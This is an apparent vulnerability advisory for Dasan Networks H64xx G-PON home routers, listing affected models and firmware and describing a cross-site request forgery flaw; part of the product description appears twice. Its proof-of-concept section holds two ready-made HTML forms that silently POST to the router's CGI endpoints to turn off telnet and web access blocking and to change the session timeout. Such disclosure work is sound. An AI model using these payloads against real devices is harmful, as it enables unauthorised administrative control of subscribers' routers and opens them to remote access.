### Summary H64xx is comprised of one G-PON uplink port and four ports of Gigabit Ethernet downlink supporting 10/100/1000Base-T (RJ45). It helps service providers to extend their core optical network all the way to their subscribers, eliminating bandwidth bottlenecks in the last mile. H64xx is integrated device that provide the high quality Internet, telephony service (VoIP) and IPTV or OTT content for home or office. H64xx enable the subscribers to make a phone call whose quality is equal to PSTN at competitive price, and enjoy the high quality resolution live video and service such as VoD or High Speed Internet. ### Description The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain, if not all actions with administrative privileges if a logged-in user visits a malicious web site. ### Vendor Dasan Networks - http://www.dasannetworks.com ### Affected...
### Summary H64xx is comprised of one G-PON uplink port and four ports of Gigabit Ethernet downlink supporting 10/100/1000Base-T (RJ45). It helps service providers to extend their core optical network all the way to their subscribers, eliminating bandwidth bottlenecks in the last mile. H64xx is integrated device that provide the high quality Internet, telephony service (VoIP) and IPTV or OTT content for home or office. H64xx enable the subscribers to make a phone call whose quality is equal to PSTN at competitive price, and enjoy the high quality resolution live video and service such as VoD or High Speed Internet. ### Description The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain, if not all actions with administrative privileges if a logged-in user visits a malicious web site. ### Vendor Dasan Networks - http://www.dasannetworks.com ### Affected Version Model: * H640GR-02 * H640GV-03 * H640GW-02 * H640RW-02 * H645G Firmware: * 3.03p1-1145 * 3.03-1144-01 * 3.02p2-1141 * 2.77p1-1125 * 2.77-1115 * 2.76-9999 * 2.76-1101 * 2.67-1070 * 2.45-1045 ### Tested On Server: lighttpd/1.4.31 Server: DasanNetwork Solution ### PoC Enable telnet access (disable telnet blocking): Enable web access (disable web blocking): ``` <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://192.168.0.1:8080/cgi-bin/remote_mgmt_action.cgi" method="POST"> <input type="hidden" name="rdoIPhost2TelnetBlocking" value="0" /> <input type="hidden" name="rdoIPhost2WebBlocking" value="0" /> <input type="hidden" name="waiting_action" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` Increase session timeout (0: disable, min: 1, max: 60): ``` <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://192.168.0.1:8080/cgi-bin/websetting_action.cgi" method="POST"> <input type="hidden" name="sessionTimeout" value="60" /> <input type="submit" value="Submit request" /> </form> </body> </html> ```
